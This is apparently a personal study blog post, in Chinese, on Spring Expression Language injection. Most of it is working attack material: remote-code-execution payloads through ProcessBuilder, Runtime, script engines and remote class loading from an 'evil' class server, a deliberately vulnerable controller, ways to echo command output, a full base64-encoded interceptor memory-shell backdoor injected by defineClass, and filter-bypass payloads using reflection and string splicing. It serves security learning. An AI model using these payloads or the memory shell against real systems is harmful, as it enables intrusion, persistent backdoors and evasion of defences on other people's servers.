参考文章

boo Mi1k7ea 先知社区

无意中看到这个SpEL这个表达式注入 想着不会 就找了几篇文章来进行学习一下

SpEL简介

image-20230904180213008

直接复制照片

SpEL定界符#{}与${}

这两个东西一点都不相同,${}只是单纯的一个占位符,会引起一些注入,比如SQL注入之类的。而#{}这就是SPEL特有的定界符。中间的内容会被解析。

类型表达式T()

image-20230904180406781

理论的东西比较难理解 还是写个demo来演示一下吧

image-20230904183233018

这个T()的意思就是将括号里面的内容解析成一个类

SpEL表达式

image-20230904183355745

image-20230904183503230

这个变量和表达式的用法呢

在这个文章里面有详细的介绍 这里就不多写了

就是调用bean的流程和操作

使用SpEL进行RCE

接下来是挨个介绍可使用的方法

ProcessBuilder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.ke1nys;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class ProcessBuilder {
public static void main(String[] args) {
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
//因为ProcessBuilder不是 static 所以需要手动进行实例化
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

这里的话ProcessBuilder没用这个T()的原因我觉得是因为没有进行实例化 所以就不能使用 (个人看法)

Runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.ke1nys;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpEL {
public static void main(String[] args) {
String cmdStr = "T(java.lang.Runtime).getRuntime().exec('calc')";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

ScriptEngine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.ke1nys;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpEL {
public static void main(String[] args) {
String cmdStr = "T(javax.script.ScriptEngineManager).getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

image-20230904185858631

这里进行报错是因为这个ScriptEngineManager类不是static的 所以需要手动进行new一下

nashorn———js引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.ke1nys;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpEL {
public static void main(String[] args) {
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
//这里的话是需要手动进行new一下的 后面是可以进行获取js引擎中的某个方法进行调用
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

image-20230904190255469

JavaScript引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.ke1nys;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpEL {
public static void main(String[] args) {
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

image-20230904190415670

其实JavaScriptengine已经可以做很多事情了,比如注入内存马之类的。Js代码是很灵活的。所以需要好好利用。(学这个SpEL还真学到东西了)

UrlClassloader (接下来就是远程类加载来RCE)

这个方法就是使用远程类加载来进行RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.example.ke1nys;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

import java.net.MalformedURLException;

public class SpEL {
public static void main(String[] args) throws Exception, MalformedURLException {
String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8000/')}).loadClass(\"evil\").getConstructors()[0].newInstance()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

然后起一个python的http服务就行了

image-20230907140850904

这里有个注意点就是 以后在使用这个动态类加载的时候 在编写恶意类的时候

不用加package 因为会报错

image-20230907141125047

系统类加载器

这里加个解释就是这个系统类加载器AppClassLoader的差别在哪

1
2
系统类加载器是 Java 虚拟机(JVM)默认的类加载器,通常是 AppClassLoader 的父类加载器。
AppClassLoader 通常负责加载应用程序的类和资源文件,而不是加载 Java 核心库中的类(例如 java.lang.Runtime)。系统类加载器(或称为应用程序类加载器)是负责加载 Java 核心库和应用程序类的类加载器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.ke1nys;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

import java.net.MalformedURLException;

public class SpEL {
public static void main(String[] args) throws Exception, MalformedURLException {
//String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").getConstructors()[0].newInstance()";
String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

image-20230907142304764

这里使用的就是这个系统类加载器来加载这个java核心库中的Runtime这个类

在这个classloader被ban了之后 我们应该怎么来进行调用

这里有几种方法

1
2
3
4
5
6
7
8
9
10
11
T(org.springframework.expression.Expression).getClass().getClassLoader()
//这个问了gpt说这个代码是Thymeleaf 表达式,它尝试在模板中执行一些 Java 代码。然而,Thymeleaf 表达式的执行环境是在模板渲染时,不同于普通 Java 代码的执行环境。
//执行环境不同 所以就不能进行代码执行
#thymeleaf 情况下

T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
#web服务下通过内置对象

{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

这里看的这几种方法就是在先知社区那里看到的

Web服务无回显RCE

这里的话很多Web服务就是虽然执行成功 但是没有把结果给回显出来 这里的话可以参考之前内存马的回显技术那篇文章 文章

(下面写的东西看起来都是和这个内存马那篇文章 差不多 用的某些类也是一样的)

这里的话简单写个demo来进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.ke1nys;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class SpelController {
@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload){
//String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器
Expression exp = parser.parseExpression(payload);//解析表达式
return (String) exp.getValue();
}
}

BufferedReader

其实这并不是纯粹的回显,因为你需要return这个返回结果,而真实情况一般是不会return这个结果的。
payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

image-20230907153433694

Scanner

和Buffer一样,都只能算得上是半回显
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

image-20230907153640438

ResponseHeader

上面的方法用的话一般都是得通过这个return将结果给输出出来 但是在真实环境中 是不会存在这个东西的

(其实也和内存马获取那个全局变量差不多 也是获取这个全局的response)

这种方法才称得上是通用回显
这种方法需要有一个方法可以addHeader,可是springboot并不自带这个方法。因此获取到Response有些许困难,需要注册一个response进上下文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example.ke1nys;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletResponse;

@Controller
public class SpelController {
@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload, HttpServletResponse response){
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("response",response);
//String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器
Expression exp = parser.parseExpression(payload);//解析表达式
return (String) exp.getValue(context);
}
}

image-20230911144740721

这样就可以把命令执行的结果外带出来了。这种方法是比较轻便的。还是围绕着如何获取response这个点。

(既然可以使用Standard这个点来获取response的关系后 那么我觉得内存马的话应该也是可以进行注入的)

注入内存马

这里的话是有两个paylaod模板

1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}
1
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('Base64'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

这里使用的是spingInceptorMemShell内存马进行注入

(这里的话我是在虚拟机里重新搭建一个idea来编译的 因为本机环境是17 不敢瞎几把改 上次就改烂了。。。。。。。。。。)

编译完后拖到本机

image-20230912091610166

然后将字节码进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.ke1nys;

import java.io.IOException;
import org.springframework.util.Base64Utils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class test {
public static void main(String[] args) {
String filePath = "D:\\ctf application\\idea_vip\\IntelliJ IDEA 2022.2.2\\project\\Ke1nys\\src\\main\\java\\com\\example\\ke1nys\\InceptorMemShell.class"; // 替换为你的 class 文件路径

try {
// 读取 class 文件的内容
Path path = Paths.get(filePath);
byte[] fileBytes = Files.readAllBytes(path);

// 对 class 文件进行 Base64 编码
String encodedString = Base64.getEncoder().encodeToString(fileBytes);

// 输出 Base64 编码后的内容
System.out.println(encodedString);
} catch (IOException e) {
e.printStackTrace();
}
}
}


然后将base64编码写入payload中发包就行了

1
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBAQoAOwCLCABWCwCMAI0IAI4LAI8AkAsAjwCRCACSCACTCgCUAJUKAA4AlggAlwoADgCYBwCZBwCaCACbCACcCgANAJ0IAJ4IAJ8HAKAKAA0AoQoAogCjCgAUAKQIAKUKABQApgoAFACnCgAUAKgKABQAqQoAqgCrCgCqAKwKAKoAqQcArQoAIACuCwA8AK8LADwAsAkAlACxCACyCgCzAKsKALQAtQgAtgsAtwC4BwC5BwC6CwAqALsHALwIAL0KAL4AvwcAwAoAMACuCgDBAMIKAMEAwwcAxAcAxQoANQCuBwDGCgA3AIsLADQAxwgAyAcAyQcAygEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTEluY2VwdG9yTWVtU2hlbGw7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB2J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAC3ByaW50V3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAxgcAywcAzAcAzQcAmgcAzgcAmQcAoAcArQEACkV4Y2VwdGlvbnMBABBNZXRob2RQYXJhbWV0ZXJzAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAM8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwC5BwC6BwDQBwDABwDEBwDFAQAKU291cmNlRmlsZQEAFUluY2VwdG9yTWVtU2hlbGwuamF2YQwAPQA+BwDLDADRANIBAANnYmsHAMwMANMA1AwA1QDWAQAAAQAHb3MubmFtZQcA1wwA2ADSDADZANoBAAN3aW4MANsA3AEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAD0A3QEACS9iaW4vYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAN4A3wcA4AwA4QDiDAA9AOMBAA13b2Nhb3NpbmlkZW1hDADkAOUMAOYA5wwA6ADaDADpAD4HAM4MAOoA1AwA6wA+AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7AA+DABjAGQMAGcAaAwA7QDuAQAGc3RhYXJ0BwDvBwDwDADxAPIBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAPMMAPQA9QEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA9gD3AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwD4DAD5APoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HANAMAPsA/AwA/QD+AQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAEEluY2VwdG9yTWVtU2hlbGwMAP8BAAEAAm9rAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAdwcmludGxuAQAFZmx1c2gBAA9wcmludFN0YWNrVHJhY2UBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQA3ADsAAQA8AAAABwABAD0APgABAD8AAAAvAAEAAQAAAAUqtwABsQAAAAIAQAAAAAYAAQAAABQAQQAAAAwAAQAAAAUAQgBDAAAAAQBEAEUAAwA/AAACBQAGAAkAAAC+KxICuQADAgA6BBkExgCwLBIEuQAFAgAsuQAGAQA6BRIHOgcSCLgACbYAChILtgAMmQAiuwANWQa9AA5ZAxIPU1kEEhBTWQUZBFO3ABE6BqcAH7sADVkGvQAOWQMSElNZBBITU1kFGQRTtwAROga7ABRZGQa2ABW2ABYSBLcAFxIYtgAZOggZCLYAGpkACxkItgAbpwAFGQc6BxkItgAcGQUZB7YAHRkFtgAeGQW2AB+nAAo6BRkFtgAhA6wErAABAA8AsACzACAAAwBAAAAATgATAAAALwAKADAADwAyABcAMwAfADUAIwA2ADMANwBSADkAbgA7AIYAPACaAD0AnwA+AKYAPwCrAEAAsABDALMAQQC1AEIAugBEALwARgBBAAAAcAALAE8AAwBGAEcABgAfAJEASABJAAUAbgBCAEYARwAGACMAjQBKAEsABwCGACoATABNAAgAtQAFAE4ATwAFAAAAvgBCAEMAAAAAAL4AUABRAAEAAAC+AFIAUwACAAAAvgBUAFUAAwAKALQAVgBLAAQAVwAAAGMAB/8AUgAIBwBYBwBZBwBaBwBbBwBcBwBdAAcAXAAA/wAbAAgHAFgHAFkHAFoHAFsHAFwHAF0HAF4HAFwAAPwAJwcAX0EHAFz/ABoABQcAWAcAWQcAWgcAWwcAXAABBwBgBgEAYQAAAAQAAQAgAGIAAAANAwBQAAAAUgAAAFQAAAABAGMAZAADAD8AAABgAAUABQAAAAoqKywtGQS3ACKxAAAAAgBAAAAACgACAAAASwAJAEwAQQAAADQABQAAAAoAQgBDAAAAAAAKAFAAUQABAAAACgBSAFMAAgAAAAoAVABVAAMAAAAKAGUAZgAEAGEAAAAEAAEAIABiAAAAEQQAUAAAAFIAAABUAAAAZQAAAAEAZwBoAAMAPwAAAGAABQAFAAAACiorLC0ZBLcAI7EAAAACAEAAAAAKAAIAAABQAAkAUQBBAAAANAAFAAAACgBCAEMAAAAAAAoAUABRAAEAAAAKAFIAUwACAAAACgBUAFUAAwAAAAoAaQBPAAQAYQAAAAQAAQAgAGIAAAARBABQAAAAUgAAAFQAAABpAAAAAQBqAGsAAwA/AAAAPwAAAAMAAAABsQAAAAIAQAAAAAYAAQAAAFYAQQAAACAAAwAAAAEAQgBDAAAAAAABAGwAbQABAAAAAQBuAG8AAgBhAAAABAABAHAAYgAAAAkCAGwAAABuAAAAAQBqAHEAAwA/AAAASQAAAAQAAAABsQAAAAIAQAAAAAYAAQAAAFsAQQAAACoABAAAAAEAQgBDAAAAAAABAGwAbQABAAAAAQByAHMAAgAAAAEAVAB0AAMAYQAAAAQAAQBwAGIAAAANAwBsAAAAcgAAAFQAAAAIAHUAPgABAD8AAAFpAAMABQAAAGqyACQSJbYAJrgAJxIoA7kAKQMAwAAqSyoSK7kALAIAwAArTAFNEi0SLrYAL02nAAhOLbYAMSwEtgAyAU4sK7YAM8AANE6nAAo6BBkEtgA2uwA3WbcAODoELRkEuQA5AgBXsgAkEjq2ACaxAAIAJQAtADAAMAA8AEUASAA1AAQAQAAAAEoAEgAAABcACAAYABcAGQAjABoAJQAcAC0AHwAwAB0AMQAeADUAIAA6ACEAPAAjAEUAJgBIACQASgAlAE8AJwBYACgAYQApAGkAKgBBAAAASAAHADEABABOAHYAAwBKAAUATgB3AAQAFwBSAHgAeQAAACMARgB6AHsAAQAlAEQAfAB9AAIAPAAtAH4AfwADAFgAEQCAAEMABACBAAAADAABADwALQB+AIIAAwBXAAAALQAE/wAwAAMHAIMHAIQHAIUAAQcAhgT/ABIABAcAgwcAhAcAhQcAhwABBwCIBgABAIkAAAACAIo='),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

image-20230912091750603

image-20230912091736399

还是再说一点 在使用字节码进行动态类加载的时候 编译的时候不要加上package

(还有就是java发包的时候记得将payload进行url编码)

关键字bypass

字符串替换

1
2
T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)
#回显h3zh1

T(String).getName返回的是java.lang.String,然后用replace替换获取想要的字符串,这种比较麻烦。

还有一种就是直接使用类似chr函数

1
T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)

外部对象request

1
2
3
4
5
6
7
8
9
//request.getMethod()为POST

#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
//request.getMethod()为GET

#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)

//Cookie
#request.getRequestedSessionId()

反射+字符串拼贴

1
2
3
4
比如Runtime的绕过
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})
如果ban了getClass还可以getSuperClass
''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')